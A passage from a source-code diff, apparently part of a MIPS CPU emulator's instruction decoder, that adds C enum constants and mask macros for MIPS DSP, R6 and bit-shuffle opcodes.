/* OPC_MUL_PH_DSP is same as OPC_ADDUH_QB_DSP. */ + /* OPC_MUL_PH_DSP = 0x18 | OPC_SPECIAL3, */ + OPC_DPA_W_PH_DSP = 0x30 | OPC_SPECIAL3, + OPC_DPAQ_W_QH_DSP = 0x34 | OPC_SPECIAL3, + /* DSP Bit/Manipulation Sub-class */ + OPC_INSV_DSP = 0x0C | OPC_SPECIAL3, + OPC_DINSV_DSP = 0x0D | OPC_SPECIAL3, + /* MIPS DSP Append Sub-class */ + OPC_APPEND_DSP = 0x31 | OPC_SPECIAL3, + OPC_DAPPEND_DSP = 0x35 | OPC_SPECIAL3, + /* MIPS DSP Accumulator and DSPControl Access Sub-class */ + OPC_EXTR_W_DSP = 0x38 | OPC_SPECIAL3, + OPC_DEXTR_W_DSP = 0x3C | OPC_SPECIAL3, + + /* R6 */ + R6_OPC_PREF = 0x35 | OPC_SPECIAL3, + R6_OPC_CACHE = 0x25 | OPC_SPECIAL3, + R6_OPC_LL = 0x36 | OPC_SPECIAL3, + R6_OPC_SC = 0x26 | OPC_SPECIAL3, + R6_OPC_LLD = 0x37 | OPC_SPECIAL3, + R6_OPC_SCD = 0x27 | OPC_SPECIAL3, +}; + +/* BSHFL opcodes */ +#define MASK_BSHFL(op) MASK_SPECIAL3(op) | (op & (0x1F << 6)) + +enum { + OPC_WSBH = (0x02 << 6) | OPC_BSHFL, + OPC_SEB = (0x10 << 6) | OPC_BSHFL, + OPC_SEH = (0x18 << 6) | OPC_BSHFL, + OPC_ALIGN = (0x08 << 6) | OPC_BSHFL, /* 010.bp */ + OPC_ALIGN_END = (0x0B << 6) | OPC_BSHFL, /* 010.00 to 010.11 */ + OPC_BITSWAP = (0x00 << 6) | OPC_BSHFL /* 00000 */ +}; + +/* DBSHFL opcodes */ +#define MASK_DBSHFL(op) MASK_SPECIAL3(op) | (op & (0x1F << 6)) + +enum { + OPC_DSBH = (0x02 << 6) | OPC_DBSHFL, + OPC_DSHD = (0x05 << 6) | OPC_DBSHFL, + OPC_DALIGN = (0x08 << 6) | OPC_DBSHFL, /* 01.bp */ + OPC_DALIGN_END = (0x0F << 6) | OPC_DBSHFL, /* 01.000 to 01.111 */ + OPC_DBITSWAP = (0x00 << 6) | OPC_DBSHFL, /* 00000 */ +}; + +/* MIPS DSP REGIMM opcodes */ +enum { + OPC_BPOSGE32 = (0x1C << 16) | OPC_REGIMM, + OPC_BPOSGE64 = (0x1D << 16) | OPC_REGIMM, +}; + +#define MASK_LX(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +/* MIPS DSP Load */ +enum { + OPC_LBUX = (0x06 << 6) | OPC_LX_DSP, + OPC_LHX = (0x04 << 6) | OPC_LX_DSP, + OPC_LWX = (0x00 << 6) | OPC_LX_DSP, + OPC_LDX = (0x08 << 6) | OPC_LX_DSP, +}; + +#define MASK_ADDU_QB(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Arithmetic Sub-class */ + OPC_ADDQ_PH = (0x0A << 6) | OPC_ADDU_QB_DSP, + OPC_ADDQ_S_PH = (0x0E << 6) | OPC_ADDU_QB_DSP, + OPC_ADDQ_S_W = (0x16 << 6) | OPC_ADDU_QB_DSP, + OPC_ADDU_QB = (0x00 << 6) | OPC_ADDU_QB_DSP, + OPC_ADDU_S_QB = (0x04 << 6) | OPC_ADDU_QB_DSP, + OPC_ADDU_PH = (0x08 << 6) | OPC_ADDU_QB_DSP, + OPC_ADDU_S_PH = (0x0C << 6) | OPC_ADDU_QB_DSP, + OPC_SUBQ_PH = (0x0B << 6) | OPC_ADDU_QB_DSP, + OPC_SUBQ_S_PH = (0x0F << 6) | OPC_ADDU_QB_DSP, + OPC_SUBQ_S_W = (0x17 << 6) | OPC_ADDU_QB_DSP, + OPC_SUBU_QB = (0x01 << 6) | OPC_ADDU_QB_DSP, + OPC_SUBU_S_QB = (0x05 << 6) | OPC_ADDU_QB_DSP, + OPC_SUBU_PH = (0x09 << 6) | OPC_ADDU_QB_DSP, + OPC_SUBU_S_PH = (0x0D << 6) | OPC_ADDU_QB_DSP, + OPC_ADDSC = (0x10 << 6) | OPC_ADDU_QB_DSP, + OPC_ADDWC = (0x11 << 6) | OPC_ADDU_QB_DSP, + OPC_MODSUB = (0x12 << 6) | OPC_ADDU_QB_DSP, + OPC_RADDU_W_QB = (0x14 << 6) | OPC_ADDU_QB_DSP, + /* MIPS DSP Multiply Sub-class insns */ + OPC_MULEU_S_PH_QBL = (0x06 << 6) | OPC_ADDU_QB_DSP, + OPC_MULEU_S_PH_QBR = (0x07 << 6) | OPC_ADDU_QB_DSP, + OPC_MULQ_RS_PH = (0x1F << 6) | OPC_ADDU_QB_DSP, + OPC_MULEQ_S_W_PHL = (0x1C << 6) | OPC_ADDU_QB_DSP, + OPC_MULEQ_S_W_PHR = (0x1D << 6) | OPC_ADDU_QB_DSP, + OPC_MULQ_S_PH = (0x1E << 6) | OPC_ADDU_QB_DSP, +}; + +#define OPC_ADDUH_QB_DSP OPC_MULT_G_2E +#define MASK_ADDUH_QB(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Arithmetic Sub-class */ + OPC_ADDUH_QB = (0x00 << 6) | OPC_ADDUH_QB_DSP, + OPC_ADDUH_R_QB = (0x02 << 6) | OPC_ADDUH_QB_DSP, + OPC_ADDQH_PH = (0x08 << 6) | OPC_ADDUH_QB_DSP, + OPC_ADDQH_R_PH = (0x0A << 6) | OPC_ADDUH_QB_DSP, + OPC_ADDQH_W = (0x10 << 6) | OPC_ADDUH_QB_DSP, + OPC_ADDQH_R_W = (0x12 << 6) | OPC_ADDUH_QB_DSP, + OPC_SUBUH_QB = (0x01 << 6) | OPC_ADDUH_QB_DSP, + OPC_SUBUH_R_QB = (0x03 << 6) | OPC_ADDUH_QB_DSP, + OPC_SUBQH_PH = (0x09 << 6) | OPC_ADDUH_QB_DSP, + OPC_SUBQH_R_PH = (0x0B << 6) | OPC_ADDUH_QB_DSP, + OPC_SUBQH_W = (0x11 << 6) | OPC_ADDUH_QB_DSP, + OPC_SUBQH_R_W = (0x13 << 6) | OPC_ADDUH_QB_DSP, + /* MIPS DSP Multiply Sub-class insns */ + OPC_MUL_PH = (0x0C << 6) | OPC_ADDUH_QB_DSP, + OPC_MUL_S_PH = (0x0E << 6) | OPC_ADDUH_QB_DSP, + OPC_MULQ_S_W = (0x16 << 6) | OPC_ADDUH_QB_DSP, + OPC_MULQ_RS_W = (0x17 << 6) | OPC_ADDUH_QB_DSP, +}; + +#define MASK_ABSQ_S_PH(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Arithmetic Sub-class */ + OPC_ABSQ_S_QB = (0x01 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_ABSQ_S_PH = (0x09 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_ABSQ_S_W = (0x11 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEQ_W_PHL = (0x0C << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEQ_W_PHR = (0x0D << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEQU_PH_QBL = (0x04 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEQU_PH_QBR = (0x05 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEQU_PH_QBLA = (0x06 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEQU_PH_QBRA = (0x07 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEU_PH_QBL = (0x1C << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEU_PH_QBR = (0x1D << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEU_PH_QBLA = (0x1E << 6) | OPC_ABSQ_S_PH_DSP, + OPC_PRECEU_PH_QBRA = (0x1F << 6) | OPC_ABSQ_S_PH_DSP, + /* DSP Bit/Manipulation Sub-class */ + OPC_BITREV = (0x1B << 6) | OPC_ABSQ_S_PH_DSP, + OPC_REPL_QB = (0x02 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_REPLV_QB = (0x03 << 6) | OPC_ABSQ_S_PH_DSP, + OPC_REPL_PH = (0x0A << 6) | OPC_ABSQ_S_PH_DSP, + OPC_REPLV_PH = (0x0B << 6) | OPC_ABSQ_S_PH_DSP, +}; + +#define MASK_CMPU_EQ_QB(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Arithmetic Sub-class */ + OPC_PRECR_QB_PH = (0x0D << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PRECRQ_QB_PH = (0x0C << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PRECR_SRA_PH_W = (0x1E << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PRECR_SRA_R_PH_W = (0x1F << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PRECRQ_PH_W = (0x14 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PRECRQ_RS_PH_W = (0x15 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PRECRQU_S_QB_PH = (0x0F << 6) | OPC_CMPU_EQ_QB_DSP, + /* DSP Compare-Pick Sub-class */ + OPC_CMPU_EQ_QB = (0x00 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPU_LT_QB = (0x01 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPU_LE_QB = (0x02 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPGU_EQ_QB = (0x04 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPGU_LT_QB = (0x05 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPGU_LE_QB = (0x06 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPGDU_EQ_QB = (0x18 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPGDU_LT_QB = (0x19 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMPGDU_LE_QB = (0x1A << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMP_EQ_PH = (0x08 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMP_LT_PH = (0x09 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_CMP_LE_PH = (0x0A << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PICK_QB = (0x03 << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PICK_PH = (0x0B << 6) | OPC_CMPU_EQ_QB_DSP, + OPC_PACKRL_PH = (0x0E << 6) | OPC_CMPU_EQ_QB_DSP, +}; + +#define MASK_SHLL_QB(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP GPR-Based Shift Sub-class */ + OPC_SHLL_QB = (0x00 << 6) | OPC_SHLL_QB_DSP, + OPC_SHLLV_QB = (0x02 << 6) | OPC_SHLL_QB_DSP, + OPC_SHLL_PH = (0x08 << 6) | OPC_SHLL_QB_DSP, + OPC_SHLLV_PH = (0x0A << 6) | OPC_SHLL_QB_DSP, + OPC_SHLL_S_PH = (0x0C << 6) | OPC_SHLL_QB_DSP, + OPC_SHLLV_S_PH = (0x0E << 6) | OPC_SHLL_QB_DSP, + OPC_SHLL_S_W = (0x14 << 6) | OPC_SHLL_QB_DSP, + OPC_SHLLV_S_W = (0x16 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRL_QB = (0x01 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRLV_QB = (0x03 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRL_PH = (0x19 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRLV_PH = (0x1B << 6) | OPC_SHLL_QB_DSP, + OPC_SHRA_QB = (0x04 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRA_R_QB = (0x05 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRAV_QB = (0x06 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRAV_R_QB = (0x07 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRA_PH = (0x09 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRAV_PH = (0x0B << 6) | OPC_SHLL_QB_DSP, + OPC_SHRA_R_PH = (0x0D << 6) | OPC_SHLL_QB_DSP, + OPC_SHRAV_R_PH = (0x0F << 6) | OPC_SHLL_QB_DSP, + OPC_SHRA_R_W = (0x15 << 6) | OPC_SHLL_QB_DSP, + OPC_SHRAV_R_W = (0x17 << 6) | OPC_SHLL_QB_DSP, +}; + +#define MASK_DPA_W_PH(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Multiply Sub-class insns */ + OPC_DPAU_H_QBL = (0x03 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPAU_H_QBR = (0x07 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPSU_H_QBL = (0x0B << 6) | OPC_DPA_W_PH_DSP, + OPC_DPSU_H_QBR = (0x0F << 6) | OPC_DPA_W_PH_DSP, + OPC_DPA_W_PH = (0x00 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPAX_W_PH = (0x08 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPAQ_S_W_PH = (0x04 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPAQX_S_W_PH = (0x18 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPAQX_SA_W_PH = (0x1A << 6) | OPC_DPA_W_PH_DSP, + OPC_DPS_W_PH = (0x01 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPSX_W_PH = (0x09 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPSQ_S_W_PH = (0x05 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPSQX_S_W_PH = (0x19 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPSQX_SA_W_PH = (0x1B << 6) | OPC_DPA_W_PH_DSP, + OPC_MULSAQ_S_W_PH = (0x06 << 6) | OPC_DPA_W_PH_DSP, + OPC_DPAQ_SA_L_W = (0x0C << 6) | OPC_DPA_W_PH_DSP, + OPC_DPSQ_SA_L_W = (0x0D << 6) | OPC_DPA_W_PH_DSP, + OPC_MAQ_S_W_PHL = (0x14 << 6) | OPC_DPA_W_PH_DSP, + OPC_MAQ_S_W_PHR = (0x16 << 6) | OPC_DPA_W_PH_DSP, + OPC_MAQ_SA_W_PHL = (0x10 << 6) | OPC_DPA_W_PH_DSP, + OPC_MAQ_SA_W_PHR = (0x12 << 6) | OPC_DPA_W_PH_DSP, + OPC_MULSA_W_PH = (0x02 << 6) | OPC_DPA_W_PH_DSP, +}; + +#define MASK_INSV(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* DSP Bit/Manipulation Sub-class */ + OPC_INSV = (0x00 << 6) | OPC_INSV_DSP, +}; + +#define MASK_APPEND(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Append Sub-class */ + OPC_APPEND = (0x00 << 6) | OPC_APPEND_DSP, + OPC_PREPEND = (0x01 << 6) | OPC_APPEND_DSP, + OPC_BALIGN = (0x10 << 6) | OPC_APPEND_DSP, +}; + +#define MASK_EXTR_W(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Accumulator and DSPControl Access Sub-class */ + OPC_EXTR_W = (0x00 << 6) | OPC_EXTR_W_DSP, + OPC_EXTR_R_W = (0x04 << 6) | OPC_EXTR_W_DSP, + OPC_EXTR_RS_W = (0x06 << 6) | OPC_EXTR_W_DSP, + OPC_EXTR_S_H = (0x0E << 6) | OPC_EXTR_W_DSP, + OPC_EXTRV_S_H = (0x0F << 6) | OPC_EXTR_W_DSP, + OPC_EXTRV_W = (0x01 << 6) | OPC_EXTR_W_DSP, + OPC_EXTRV_R_W = (0x05 << 6) | OPC_EXTR_W_DSP, + OPC_EXTRV_RS_W = (0x07 << 6) | OPC_EXTR_W_DSP, + OPC_EXTP = (0x02 << 6) | OPC_EXTR_W_DSP, + OPC_EXTPV = (0x03 << 6) | OPC_EXTR_W_DSP, + OPC_EXTPDP = (0x0A << 6) | OPC_EXTR_W_DSP, + OPC_EXTPDPV = (0x0B << 6) | OPC_EXTR_W_DSP, + OPC_SHILO = (0x1A << 6) | OPC_EXTR_W_DSP, + OPC_SHILOV = (0x1B << 6) | OPC_EXTR_W_DSP, + OPC_MTHLIP = (0x1F << 6) | OPC_EXTR_W_DSP, + OPC_WRDSP = (0x13 << 6) | OPC_EXTR_W_DSP, + OPC_RDDSP = (0x12 << 6) | OPC_EXTR_W_DSP, +}; + +#define MASK_ABSQ_S_QH(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Arithmetic Sub-class */ + OPC_PRECEQ_L_PWL = (0x14 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQ_L_PWR = (0x15 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQ_PW_QHL = (0x0C << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQ_PW_QHR = (0x0D << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQ_PW_QHLA = (0x0E << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQ_PW_QHRA = (0x0F << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQU_QH_OBL = (0x04 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQU_QH_OBR = (0x05 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQU_QH_OBLA = (0x06 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEQU_QH_OBRA = (0x07 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEU_QH_OBL = (0x1C << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEU_QH_OBR = (0x1D << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEU_QH_OBLA = (0x1E << 6) | OPC_ABSQ_S_QH_DSP, + OPC_PRECEU_QH_OBRA = (0x1F << 6) | OPC_ABSQ_S_QH_DSP, + OPC_ABSQ_S_OB = (0x01 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_ABSQ_S_PW = (0x11 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_ABSQ_S_QH = (0x09 << 6) | OPC_ABSQ_S_QH_DSP, + /* DSP Bit/Manipulation Sub-class */ + OPC_REPL_OB = (0x02 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_REPL_PW = (0x12 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_REPL_QH = (0x0A << 6) | OPC_ABSQ_S_QH_DSP, + OPC_REPLV_OB = (0x03 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_REPLV_PW = (0x13 << 6) | OPC_ABSQ_S_QH_DSP, + OPC_REPLV_QH = (0x0B << 6) | OPC_ABSQ_S_QH_DSP, +}; + +#define MASK_ADDU_OB(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Multiply Sub-class insns */ + OPC_MULEQ_S_PW_QHL = (0x1C << 6) | OPC_ADDU_OB_DSP, + OPC_MULEQ_S_PW_QHR = (0x1D << 6) | OPC_ADDU_OB_DSP, + OPC_MULEU_S_QH_OBL = (0x06 << 6) | OPC_ADDU_OB_DSP, + OPC_MULEU_S_QH_OBR = (0x07 << 6) | OPC_ADDU_OB_DSP, + OPC_MULQ_RS_QH = (0x1F << 6) | OPC_ADDU_OB_DSP, + /* MIPS DSP Arithmetic Sub-class */ + OPC_RADDU_L_OB = (0x14 << 6) | OPC_ADDU_OB_DSP, + OPC_SUBQ_PW = (0x13 << 6) | OPC_ADDU_OB_DSP, + OPC_SUBQ_S_PW = (0x17 << 6) | OPC_ADDU_OB_DSP, + OPC_SUBQ_QH = (0x0B << 6) | OPC_ADDU_OB_DSP, + OPC_SUBQ_S_QH = (0x0F << 6) | OPC_ADDU_OB_DSP, + OPC_SUBU_OB = (0x01 << 6) | OPC_ADDU_OB_DSP, + OPC_SUBU_S_OB = (0x05 << 6) | OPC_ADDU_OB_DSP, + OPC_SUBU_QH = (0x09 << 6) | OPC_ADDU_OB_DSP, + OPC_SUBU_S_QH = (0x0D << 6) | OPC_ADDU_OB_DSP, + OPC_SUBUH_OB = (0x19 << 6) | OPC_ADDU_OB_DSP, + OPC_SUBUH_R_OB = (0x1B << 6) | OPC_ADDU_OB_DSP, + OPC_ADDQ_PW = (0x12 << 6) | OPC_ADDU_OB_DSP, + OPC_ADDQ_S_PW = (0x16 << 6) | OPC_ADDU_OB_DSP, + OPC_ADDQ_QH = (0x0A << 6) | OPC_ADDU_OB_DSP, + OPC_ADDQ_S_QH = (0x0E << 6) | OPC_ADDU_OB_DSP, + OPC_ADDU_OB = (0x00 << 6) | OPC_ADDU_OB_DSP, + OPC_ADDU_S_OB = (0x04 << 6) | OPC_ADDU_OB_DSP, + OPC_ADDU_QH = (0x08 << 6) | OPC_ADDU_OB_DSP, + OPC_ADDU_S_QH = (0x0C << 6) | OPC_ADDU_OB_DSP, + OPC_ADDUH_OB = (0x18 << 6) | OPC_ADDU_OB_DSP, + OPC_ADDUH_R_OB = (0x1A << 6) | OPC_ADDU_OB_DSP, +}; + +#define MASK_CMPU_EQ_OB(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* DSP Compare-Pick Sub-class */ + OPC_CMP_EQ_PW = (0x10 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMP_LT_PW = (0x11 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMP_LE_PW = (0x12 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMP_EQ_QH = (0x08 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMP_LT_QH = (0x09 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMP_LE_QH = (0x0A << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPGDU_EQ_OB = (0x18 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPGDU_LT_OB = (0x19 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPGDU_LE_OB = (0x1A << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPGU_EQ_OB = (0x04 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPGU_LT_OB = (0x05 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPGU_LE_OB = (0x06 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPU_EQ_OB = (0x00 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPU_LT_OB = (0x01 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_CMPU_LE_OB = (0x02 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PACKRL_PW = (0x0E << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PICK_OB = (0x03 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PICK_PW = (0x13 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PICK_QH = (0x0B << 6) | OPC_CMPU_EQ_OB_DSP, + /* MIPS DSP Arithmetic Sub-class */ + OPC_PRECR_OB_QH = (0x0D << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PRECR_SRA_QH_PW = (0x1E << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PRECR_SRA_R_QH_PW = (0x1F << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PRECRQ_OB_QH = (0x0C << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PRECRQ_PW_L = (0x1C << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PRECRQ_QH_PW = (0x14 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PRECRQ_RS_QH_PW = (0x15 << 6) | OPC_CMPU_EQ_OB_DSP, + OPC_PRECRQU_S_OB_QH = (0x0F << 6) | OPC_CMPU_EQ_OB_DSP, +}; + +#define MASK_DAPPEND(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* DSP Append Sub-class */ + OPC_DAPPEND = (0x00 << 6) | OPC_DAPPEND_DSP, + OPC_PREPENDD = (0x03 << 6) | OPC_DAPPEND_DSP, + OPC_PREPENDW = (0x01 << 6) | OPC_DAPPEND_DSP, + OPC_DBALIGN = (0x10 << 6) | OPC_DAPPEND_DSP, +}; + +#define MASK_DEXTR_W(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Accumulator and DSPControl Access Sub-class */ + OPC_DMTHLIP = (0x1F << 6) | OPC_DEXTR_W_DSP, + OPC_DSHILO = (0x1A << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTP = (0x02 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTPDP = (0x0A << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTPDPV = (0x0B << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTPV = (0x03 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTR_L = (0x10 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTR_R_L = (0x14 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTR_RS_L = (0x16 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTR_W = (0x00 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTR_R_W = (0x04 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTR_RS_W = (0x06 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTR_S_H = (0x0E << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTRV_L = (0x11 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTRV_R_L = (0x15 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTRV_RS_L = (0x17 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTRV_S_H = (0x0F << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTRV_W = (0x01 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTRV_R_W = (0x05 << 6) | OPC_DEXTR_W_DSP, + OPC_DEXTRV_RS_W = (0x07 << 6) | OPC_DEXTR_W_DSP, + OPC_DSHILOV = (0x1B << 6) | OPC_DEXTR_W_DSP, +}; + +#define MASK_DINSV(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* DSP Bit/Manipulation Sub-class */ + OPC_DINSV = (0x00 << 6) | OPC_DINSV_DSP, +}; + +#define MASK_DPAQ_W_QH(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP Multiply Sub-class insns */ + OPC_DMADD = (0x19 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DMADDU = (0x1D << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DMSUB = (0x1B << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DMSUBU = (0x1F << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPA_W_QH = (0x00 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPAQ_S_W_QH = (0x04 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPAQ_SA_L_PW = (0x0C << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPAU_H_OBL = (0x03 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPAU_H_OBR = (0x07 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPS_W_QH = (0x01 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPSQ_S_W_QH = (0x05 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPSQ_SA_L_PW = (0x0D << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPSU_H_OBL = (0x0B << 6) | OPC_DPAQ_W_QH_DSP, + OPC_DPSU_H_OBR = (0x0F << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_S_L_PWL = (0x1C << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_S_L_PWR = (0x1E << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_S_W_QHLL = (0x14 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_SA_W_QHLL = (0x10 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_S_W_QHLR = (0x15 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_SA_W_QHLR = (0x11 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_S_W_QHRL = (0x16 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_SA_W_QHRL = (0x12 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_S_W_QHRR = (0x17 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MAQ_SA_W_QHRR = (0x13 << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MULSAQ_S_L_PW = (0x0E << 6) | OPC_DPAQ_W_QH_DSP, + OPC_MULSAQ_S_W_QH = (0x06 << 6) | OPC_DPAQ_W_QH_DSP, +}; + +#define MASK_SHLL_OB(op) (MASK_SPECIAL3(op) | (op & (0x1F << 6))) +enum { + /* MIPS DSP GPR-Based Shift Sub-class */ + OPC_SHLL_PW = (0x10 << 6) | OPC_SHLL_OB_DSP, + OPC_SHLL_S_PW = (0x14 << 6) | OPC_SHLL_OB_DSP, + OPC_SHLLV_OB = (0x02 << 6) | OPC_SHLL_OB_DSP, + OPC_SHLLV_PW = (0x12 << 6) | OPC_SHLL_OB_DSP, + OPC_SHLLV_S_PW = (0x16 << 6) | OPC_SHLL_OB_DSP, + OPC_SHLLV_QH = (0x0A << 6) | OPC_SHLL_OB_DSP, + OPC_SHLLV_S_QH = (0x0E << 6) | OPC_SHLL_OB_DSP, + OPC_SHRA_PW = (0x11 << 6) | OPC_SHLL_OB_DSP, + 